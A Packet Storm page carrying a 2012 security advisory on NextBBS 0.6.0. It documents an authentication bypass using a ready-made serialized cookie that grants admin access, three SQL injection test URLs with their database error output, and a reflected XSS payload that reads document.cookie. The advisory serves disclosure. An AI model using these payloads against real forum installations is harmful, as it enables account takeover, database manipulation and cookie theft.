exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

NextBBS 0.6.0 Authentication Bypass / SQL Injection / XSS

NextBBS 0.6.0 Authentication Bypass / SQL Injection / XSS
Posted Mar 28, 2012
Authored by Janek Vind aka waraxe | Site waraxe.us

NextBBS version 0.6.0 suffers from authentication bypass, cross site scripting, and remote SQL injection vulnerabilities.

tags | exploit, remote, vulnerability, xss, sql injection
SHA-256 | bfa83da9859d83d6988d38e9d8dc4e00aea5881410d054635c38bf926bc80c44

NextBBS 0.6.0 Authentication Bypass / SQL Injection / XSS

Change Mirror Download
[waraxe-2012-SA#080] - Multiple Vulnerabilities in NextBBS 0.6.0
===============================================================================

Author: Janek Vind "waraxe"
Date: 27. March 2012
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-80.html


Description of vulnerable software:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

nextBBS lets you create your own Community with unrivaled ease of use.
Even though the software is highly performant, it doesn't lack any feature
that makes big boards attractive. In fact, it offers the most "Web 2.0"
experience currently available.

http://sourceforge.net/projects/forums/

Vulnerable versions
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Affected is NextBBS version 0.6.0, older versions may be vulnerable
as well.

###############################################################################
1. Authentication Bypass in "user.php"
###############################################################################

Reason: using unsanitized user submitted data
Attack vector: user submitted cookie
Preconditions: none
Result: attacker can impersonate any user, including admins

Source code snippet from vulnerable script "user.php":
-----------------[ source code start ]---------------------------------
// Cookie?
if(isset($_COOKIE[$CONFIG->sessions->name]) || isset($_SESSION[$CONFIG->sessions->name]))
{
..
if(isset($_COOKIE[$CONFIG->sessions->name]))
{
$scookie = $_COOKIE[$CONFIG->sessions->name];
..
$cookie = unserialize(stripslashes($scookie));
..
$checkagainst = $this->generatePrivateKey($row['password']);
if($checkagainst == $cookie['userkey'])
{
$_SESSION['ID'] = $uid;
$this->setMember($_SESSION['ID']);
-----------------[ source code end ]-----------------------------------

As seen above, user submitted cookie will be unserialized and resulting
data is used for authentication. No input data validation exists.
Attacker can use specially crafted cookie, so that after unserializing
variable "$cookie['userkey']" will be boolean "true".
Comparing as "if($checkagainst == $cookie['userkey'])" is insecure and will
always return "true", if "$cookie['userkey']" is boolean "true".
This will allow complete authentication bypass.

Test:

Array after serialization:
a:3:{s:3:"uid";s:4:"1219";s:7:"checker";s:1:"1";s:7:"userkey";b:1;}
After urlencoding:
a%3A3%3A%7Bs%3A3%3A%22uid%22%3Bs%3A4%3A%221219%22%3Bs%3A7%3A%22checker%22%3Bs%3A1%3A%221%22%3Bs%3A7%3A%22userkey%22%3Bb%3A1%3B%7D
Cookie:
nextBBS=a%3A3%3A%7Bs%3A3%3A%22uid%22%3Bs%3A4%3A%221219%22%3Bs%3A7%3A%22checker%22%3Bs%3A1%3A%221%22%3Bs%3A7%3A%22userkey%22%3Bb%3A1%3B%7D;


Now we will use Firefox with "Tamper Data" extension for easy cookie manipulation.
Let's open page in unauthenticated state and with crafted cookie:

http://localhost/nextbbs.0.6.0/

Result: "Welcome back, waraxe. (Log out?) (Admin CP)"

We have admin level access now, as expected.

###############################################################################
2. SQL Injection in "ajaxserver.php" function "findUsers"
###############################################################################

Reason: using unsanitized user submitted data in SQL queries
Attack vector: user submitted GET parameter "curstr"
Preconditions: none
Result: attacker can manipulate database queries

Source code snippet from vulnerable script "ajaxserver.php":
-----------------[ source code start ]---------------------------------
function findUsers($method)
{
global $INPUT, $CONFIG, $DB;

$filter = urldecode($INPUT['curstr']);
$retstr = '';
$qry = "SELECT userid FROM {$CONFIG->dbprfx}users
WHERE server='{$CONFIG->server}' AND userid like '".$filter."%'";
$res = $DB->query($qry);
-----------------[ source code end ]-----------------------------------

As seen above, user submitted GET parameter "curstr" is urldecoded and
afterwards used in SQL query without proper sanitization. By using urlencoded
single quotes it is possible to conduct SQL injection atttacks.

Test:

http://localhost/nextbbs.0.6.0/?do=ajaxserver&action=findusers&curstr=war%2527axe

Result:

SQL Layer Error: You have an error in your SQL syntax; check the manual
that corresponds to your MySQL server version for the right syntax to use
near 'axe%'' at line 1
Query [SELECT userid FROM bb_users WHERE server='1' AND userid like 'war'axe%']


###############################################################################
3. SQL Injection in "ajaxserver.php" function "isIdAvailable"
###############################################################################

Reason: using unsanitized user submitted data in SQL queries
Attack vector: user submitted GET parameter "id"
Preconditions: none
Result: attacker can manipulate database queries

Source code snippet from vulnerable script "ajaxserver.php":
-----------------[ source code start ]---------------------------------
function isIdAvailable($method)
{
global $INPUT, $CONFIG, $DB;

$filter = urldecode($INPUT['id']);
$qry = "SELECT COUNT(*) as c FROM {$CONFIG->dbprfx}users
WHERE server='{$CONFIG->server}' AND userid ='".$filter."'";
$res = $DB->query($qry);
-----------------[ source code end ]-----------------------------------

As seen above, user submitted GET parameter "id" is urldecoded and
afterwards used in SQL query without proper sanitization. By using urlencoded
single quotes it is possible to conduct SQL injection atttacks.

Test:

http://localhost/nextbbs.0.6.0/?do=ajaxserver&action=isidavailable&id=war%2527axe

Result:

SQL Layer Error: You have an error in your SQL syntax; check the manual
that corresponds to your MySQL server version for the right syntax to use
near 'axe'' at line 1
Query [SELECT COUNT(*) as c FROM bb_users WHERE server='1' AND userid ='war'axe']


###############################################################################
4. SQL Injection in "ajaxserver.php" function "getGreetings"
###############################################################################

Reason: using unsanitized user submitted data in SQL queries
Attack vector: user submitted GET parameter "username"
Preconditions: none
Result: attacker can manipulate database queries

Source code snippet from vulnerable script "ajaxserver.php":
-----------------[ source code start ]---------------------------------
function getGreetings($method)
{
global $INPUT, $CONFIG, $DB;

$username = urldecode($INPUT['username']);
$qry = "SELECT text FROM {$CONFIG->dbprfx}greetings g JOIN
{$CONFIG->dbprfx}users u ON (g.dest_id=u.user_ID)
WHERE g.server='{$CONFIG->server}' AND
u.userid='{$username}' AND g.folder_id='1'";
$res = $DB->query($qry);
-----------------[ source code end ]-----------------------------------

As seen above, user submitted GET parameter "username" is urldecoded and
afterwards used in SQL query without proper sanitization. By using urlencoded
single quotes it is possible to conduct SQL injection atttacks.

Test:

http://localhost/nextbbs.0.6.0/?do=ajaxserver&action=getgreetings&username=war%2527axe

Result:

SQL Layer Error: You have an error in your SQL syntax; check the manual
that corresponds to your MySQL server version for the right syntax to use
near 'axe' AND g.folder_id='1'' at line 1
Query [SELECT text FROM bb_greetings g JOIN bb_users u ON (g.dest_id=u.user_ID)
WHERE g.server='1' AND u.userid='war'axe' AND g.folder_id='1']


###############################################################################
5. Reflected XSS in anti-hack measures
###############################################################################

Reason: using unsanitized user submitted data in outputted html
Attack vector: user submitted URI
Remarks: XSS payload max length is limited

Test:

http://localhost/nextbbs.0.6.0/index.php?do=<body+onload=alert(document.cookie);>

Response page shows warning:

"Note: A hack attempt was detected.
It is being logged and reported to the admin along with your IP address:"

At the same time XSS payload execution can be observed.


Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@yahoo.com
Janek Vind "waraxe"

Waraxe forum: http://www.waraxe.us/forums.html
Personal homepage: http://www.janekvind.com/
Random project: http://albumnow.com/
---------------------------------- [ EOF ] ------------------------------------
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close